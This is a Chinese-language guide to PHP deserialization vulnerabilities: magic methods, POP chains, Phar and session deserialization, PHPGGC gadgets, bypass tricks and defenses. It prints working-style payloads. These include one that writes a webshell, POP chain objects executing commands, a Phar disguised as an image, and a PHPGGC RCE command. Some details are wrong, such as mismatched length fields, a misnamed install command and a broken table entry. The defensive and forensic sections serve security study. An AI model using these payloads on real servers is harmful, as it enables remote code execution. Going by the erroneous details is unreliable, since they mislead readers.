PHP 反序列化漏洞完全指南

← 返回指南列表

PHP 反序列化漏洞完全指南

PHP 反序列化(Unserialize)是 Web 安全中代码执行类漏洞的”重灾区”,理解其底层机制、魔术方法、POP 链构造与绕过手法,是 PHP 代码审计与红队攻防的核心能力。

一、什么是序列化与反序列化

1.1 基本概念

  • 序列化(Serialize):将 PHP 中的对象、数组、标量等数据结构转换为可存储/传输的字符串格式
  • 反序列化(Unserialize):将序列化字符串还原为原始 PHP 数据结构

两个过程都需要 PHP 运行时的内部支持,序列化结果保留了对象的类名、属性值、属性类型,反序列化时 PHP 会按需自动加载类定义并重建对象。

1.2 为什么需要序列化

  • 会话保持:PHP Session 默认将 $_SESSION 数组序列化后写入文件
  • 缓存与队列:Redis、Memcached、RabbitMQ 中的复杂对象
  • 跨进程通信:CLI 与 Web、跨服务调用
  • 数据存储:WordPress、Laravel、ThinkPHP 等框架的配置、Token 存储

1.3 序列化字符串格式

PHP
<?php
class User {
    public $name = "alice";
    private $age = 18;
    protected $role = "guest";
}

$u = new User();
echo serialize($u);
?>

输出:

CODE
O:4:"User":3:{s:4:"name";s:5:"alice";s:9:"\0User\0age";i:18;s:7:"\0*\0role";s:5:"guest";}

格式拆解:

  • O:4:"User":3:{...} → 对象,类名长度 4,类名 “User”,3 个属性
  • s:4:"name";s:5:"alice"; → 字符串 “name” → 字符串 “alice”
  • s:9:"\0User\0age";i:18; → 私有属性 \0类名\0属性名
  • s:7:"\0*\0role";s:5:"guest"; → 受保护属性 \0*\0属性名
  • i:18; → 整数 18
  • a:2:{i:0;s:1:"a";i:1;s:1:"b";} → 数组
  • s:1:"a"; → 字符串 “a”
  • N; → NULL
  • b:1; → 布尔 true
  • d:1.5; → 浮点 1.5

关键:反序列化时类不需要存在即可解析,但若访问其方法/属性时类未定义,PHP 会调用 __autoload() 或在严格模式下抛错。

二、PHP 魔术方法

魔术方法(Magic Methods)是 PHP 提供的、在对象生命周期特定阶段自动触发的钩子。它们是反序列化漏洞利用的关键入口。

2.1 常用魔术方法清单

魔术方法 触发时机 利用价值
__construct() 对象创建时 初始化,常被用于检测
__destruct() 对象销毁(GC、脚本结束) 最常用,对象引用计数为 0 时调用
__wakeup() 反序列化时 可在此注入恶意属性,但常被禁用
__toString() 对象被当字符串使用 拼接、echo、字符串函数参数
__call() 调用不存在的方法 触发魔术方法链
__get() 读取不存在/不可访问的属性 同上
__set() 写入不存在/不可访问的属性 同上
__isset() isset() 检查不存在属性 同上
__unset() unset() 不存在属性 同上
__invoke() 对象被当函数调用 ($obj)()
__clone() clone 关键字 深度克隆
__sleep() serialize() 前 序列化过滤
__set_state() var_export() 后 较少用
__debugInfo() var_dump() 时 信息泄露

2.2 触发顺序与链式调用

经典 POP(Property Oriented Programming)链通常利用如下顺序:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

例如 ThinkPHP、Laravel、Yii 框架的 gadget chain 多达数十种,且不断被发现。

三、PHP 反序列化攻击原理

3.1 漏洞成因

反序列化本身并非漏洞,问题在于:

  1. 用户可控输入进入 unserialize()
  2. 被反序列化的类拥有危险魔术方法
  3. 魔术方法链最终调用 system()、exec()、file_put_contents() 等危险函数

最简 POC:

PHP
<?php
class Vuln {
    public $cmd = "id";
    
    function __destruct() {
        system($this->cmd);
    }
}

unserialize($_GET['data']);
?>

构造 payload:

CODE
O:4:"Vuln":1:{s:3:"cmd";s:2:"id";}

3.2 危险函数清单

以下函数/方法在反序列化链中出现即应重点关注:

  • 命令执行:system、exec、shell_exec、passthru、popen、proc_open
  • 代码执行:eval、assert、create_function、preg_replace(/e)
  • 文件操作:file_put_contents、fwrite、fputs、move_uploaded_file、copy、rename
  • 文件包含:include、require、include_once、require_once
  • SSRF:file_get_contents、curl_*、fopen
  • XXE:SimpleXMLElement->__construct、DOMDocument->load
  • 动态调用:call_user_func、call_user_func_array、array_map、array_filter
  • 数据库:mysqli_query、PDO->query

四、POP 链构造实战

4.1 案例一:单类直接利用

PHP
class Logger {
    public $logfile = "/tmp/log.txt";
    public $content = "hello";
    
    function __destruct() {
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }
}

Payload:

CODE
O:6:"Logger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:30:"<?php system($_GET['c']); ?>";}

访问 shell.php?c=id 即可 RCE。

4.2 案例二:链式触发

PHP
class A {
    public $b;
    function __destruct() {
        $this->b->action();
    }
}

class B {
    public $c;
    function action() {
        $this->c->run();
    }
}

class C {
    public $cmd;
    function run() {
        system($this->cmd);
    }
}

构造 Payload(POP 链:A → B → C):

CODE
O:1:"A":1:{s:1:"b";O:1:"B":1:{s:1:"c";O:1:"C":1:{s:3:"cmd";s:2:"id";}}}

4.3 案例三:字符逃逸(字符串长度溢出)

当序列化字符串的 s:N: 长度声明与实际不符时,PHP 会按声明长度截断或越过边界,可用来注入额外属性或修改对象内部状态。

字符串逃逸常见两类:

  • 键名长度增加(filter 后变长):s:5:"name" 替换为 5 字符 → 实际 6 字符,导致后续 "; 被吞入,下一个属性被当作原 key 的一部分,最终泄漏出敏感数据
  • 键名长度减少(filter 后变短):可以构造 属性覆盖,在 filter 后字段被吞并后,剩余字符串被解析为新属性
PHP
// 简化示例:filter 将 "flag" 替换为 "hack"
function filter($s) {
    return str_replace("flag", "hack", $s);
}

class User {
    public $username;
    public $is_admin = false;
}

$payload = '";s:8:"is_admin";b:1;}';
$username = 'flag' . $payload;  // 序列化后 s:31:"flag...";...
// filter 后 s:31:"hack..."; 多出 4 字符,吞掉 "s:8:"is_admin";b:0;}"
// 解析时 is_admin 被解析为 b:1

实际 CTF 中常与 O: 对象属性、S: 大小写标记、C: 自定义序列化等结合使用。

4.4 案例四:__wakeup 绕过

PHP 5.6.25 之前存在 __wakeup() 失效漏洞:属性数量声明大于实际数量时跳过 __wakeup()。

CODE
O:6:"Vuln":99999:{s:3:"cmd";s:2:"id";}

PHP 7.0.10 之后修复,但高版本仍可通过:

  • 利用 C: 自定义序列化格式
  • 利用 S: 大小写十六进制字符串绕过键名匹配
  • 借助框架的 deserializer(如 Laravel 队列)二次反序列化

五、Phar 反序列化

5.1 原理

PHP 的 phar:// 流包装器在读取 Phar 文件时会自动反序列化其中的 manifest,其中包含序列化后的元数据。攻击者只需将恶意序列化数据写入 Phar 元数据,再通过 file_exists('phar://...')、is_dir()、stat() 等文件操作函数触发。

即使目标系统未调用 unserialize(),也能 RCE,被称为”PHP 反序列化的瑞士军刀“。

5.2 利用条件

  1. phar.readonly = 0(生成时);但利用时通常 phar.readonly = 1 也可,因为是读取操作
  2. 文件操作函数的参数可控(file_exists($_GET['file']) 等)
  3. 存在可用的 POP gadget chain 类

5.3 生成 Phar

PHP
<?php
class Vuln {
    public $cmd = "id";
}

@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Vuln());
$phar->addFromString('test.txt', 'hello');
$phar->stopBuffering();

// 修改后缀绕过
copy('test.phar', 'test.jpg');
?>

5.4 触发

PHP
// 目标源码
if (file_exists($_GET['file'])) {
    echo "exists";
}

Payload:

CODE
http://target/?file=phar://./upload/test.jpg

phar:// 会反序列化元数据中的 Vuln 对象,触发 __destruct()。

5.5 绕过技巧

  • Phar 文件改名(.jpg、.png、.txt)绕过上传限制
  • 压缩 Phar(.tar.gz、.zip)绕过 hash 校验
  • 利用 compress.bzip2://phar:// 双层包装
  • 配合 gzip/bzip2 LFI 触发(2018 BlackHat 议题)

六、Session 反序列化

PHP Session 默认通过 session.save_handler=files 存储,序列化方式由 session.serialize_handler 决定,可选项:

Handler 序列化格式 分隔符
php 键名 + | + serialize() |
php_serialize serialize(键名 → 值) 标准 serialize 分隔
php_binary 键名长度(ASCII)+ serialize() 长度字节

6.1 漏洞场景

当写入和读取使用的 serialize_handler 不一致时,可通过键名注入 \| 后跟恶意序列化字符串。

PHP
// 写入端
ini_set('session.serialize_handler', 'php_serialize');
$_SESSION['user'] = $_GET['data'];

// 读取端
ini_set('session.serialize_handler', 'php');
session_start();

Payload:

CODE
user=|O:4:"Vuln":1:{s:3:"cmd";s:2:"id";}

php_serialize 把整个串写入 user=|O:...;php 读取时 | 被当作键值分隔符,解析出 O:4:"Vuln" 对象并触发 __destruct()。

6.2 防御

  • 统一 session.serialize_handler
  • 写入前键名过滤(限制字母数字)
  • 启用 session.use_strict_mode=1

七、框架级 POP 链

7.1 PHPGGC 工具

PHPGGC(PHP Generic Gadget Chains)是 Symfony、Laravel、CodeIgniter、Yii、ThinkPHP 等框架 gadget chain 的集合工具。

BASH
# 安装
git clone https://github.com/ambionics/phpggc
cd phpggc
./phpggc -l  # 列出所有 gadget

# 生成 ThinkPHP 5.0.24 反序列化 payload
./phpggc ThinkPHP/RCE1 system 'id' -u -b

PHPGGC 输出 base64 编码的 payload,可直接 POST 给目标。

7.2 常见框架的已知 Gadget

框架 漏洞点 修复版本
Laravel PendingBroadcast + `Guard Laravel 8.x+
ThinkPHP think\process\pipes\Windows 5.0.24 / 5.1.32 / 6.0.13
Yii yii\db\BatchQueryResult 2.0.38
Symfony Symfony\Component\Yaml 4.4.7 / 5.0.7
Typecho Typecho\Db\Query 1.2.1
WordPress wpdb / WP_Theme 多个版本

7.3 实战检测

BASH
# 用 Serde 工具静态扫描
composer global require fennb/phirehose
phpggc -d

# 用 phpserialize 在线分析
https://www.unserialize.online/

八、绕过与混淆技巧

8.1 字符绕过

  • O: → C: 自定义序列化(Serializable 接口)
  • i:+0 → N: 改 NULL 绕过判断
  • S: 大小写十六进制:S:3:"\61\62\63" 等价于 "abc"
  • r: 引用:减少 payload 体积、共享对象
  • R: 对象引用:跨对象引用,避免重复

8.2 关键字绕过

  • O:+4: PHP 5.x 中 + 号可被接受
  • O: 4: 空格绕过(部分版本)
  • O: 0x4: 十六进制长度

8.3 字符串逃逸的现代变体

  • 利用 过滤器(strtolower、trim、json_decode)改变序列化串
  • 利用 数组键名合并(array_combine、array_merge)构造新属性
  • 利用 JSON 解析后序列化的差异(如 JSON 保留 \u0000 字符,PHP 转义后不一致)

九、防御策略

9.1 根本性防御

PHP
// 1. 避免反序列化用户输入
// 2. 使用 json_encode/decode 代替
$data = json_decode($input, true);

// 3. 白名单类名(PHP 7+)
$result = unserialize($input, ['allowed_classes' => ['User', 'Order']]);
// 完全禁止
$result = unserialize($input, ['allowed_classes' => false]);

9.2 框架级防御

  • Laravel:使用 Crypt::decryptString() 加密 Cookie,自带签名校验
  • Symfony:serialize_handler 配置为 php_serialize,且开启 strict_mode
  • Typecho:升级到 1.2.1+,修改默认 __typecho_config 路径
  • WordPress:使用 maybe_unserialize() 自带白名单

9.3 PHP 配置加固

INI
; php.ini
session.serialize_handler = php_serialize
session.use_strict_mode = 1
session.cookie_httponly = 1
session.cookie_samesite = Lax
phar.readonly = 1
expose_php = Off

9.4 危险函数禁用

INI
; php.ini
disable_functions = exec,system,passthru,shell_exec,popen,proc_open

注意:disable_functions 可被 mail() + LD_PRELOAD 等方式绕过,并非银弹。

9.5 代码层最佳实践

  • 禁止 unserialize($_REQUEST) / unserialize(file_get_contents('php://input'))
  • 写文件前用 realpath()、basename()、pathinfo() 校验路径
  • 任何文件操作函数(file_exists、fopen、stat)禁止直接使用用户输入作为参数,否则面临 phar:// 风险
  • 业务对象实现 Serializable 接口并加密/签名
  • 引入对象签名机制(如 Laravel 的 SignedMiddleware)

9.6 RASP / WAF 规则

  • 检测 O:数字 / a:数字 出现在 GET/POST/Cookie/Header 中
  • 检测 phar:// 出现在用户可控参数
  • 监控 __destruct/__wakeup 在 IO 函数附近出现
  • SOC 规则:unserialize() 紧跟 system() / eval() 的静态扫描

十、应急与取证

10.1 攻击痕迹

  • Web 访问日志:异常 O: / a: 编码字段
  • 文件系统:/tmp/ 突然出现大量 PHP、session 文件
  • 网络流量:HTTP POST 中 base64 编码的 PHP 序列化串
  • PHP 错误日志:unserialize(): Error at offset / Allowed memory size

10.2 应急步骤

  1. 备份现场(/tmp/、Session 目录、上传目录)
  2. 检索 O: 开头的请求日志,确认入侵范围
  3. 检索对应 Payload 字符串,匹配 PHPGGC 库
  4. 升级框架版本,禁用 unserialize() 用户输入入口
  5. 强制所有用户重置 Session,清理 Redis 缓存
  6. 启用 RASP 拦截后续攻击

10.3 取证工具

  • PHPGGC:识别框架级 gadget
  • Serde:自动构造 payload
  • phpggc-symfony-bundle:Symfony 专项
  • ysoserial(Java):Java 反序列化参考
  • Wireshark:抓包分析 O: 字段

十一、总结

PHP 反序列化漏洞的核心是**”数据流的不可控” + “魔术方法链的执行能力”**。理解其攻击面需要从三个层次递进:

  1. 语言层:序列化格式、魔术方法、引用与对象恢复
  2. 框架层:第三方库的 gadget chain、session / phar / LFI 触达面
  3. 业务层:用户输入入口、文件操作函数、加密签名机制

防御上需要纵深防御:白名单 + 加密 + RASP + WAF + 监控,单一手段都不足以应对真实红队攻防。代码审计时对 unserialize()、file_*()、session_decode()、phar:// 保持零容忍,是规避 80% 反序列化漏洞的捷径。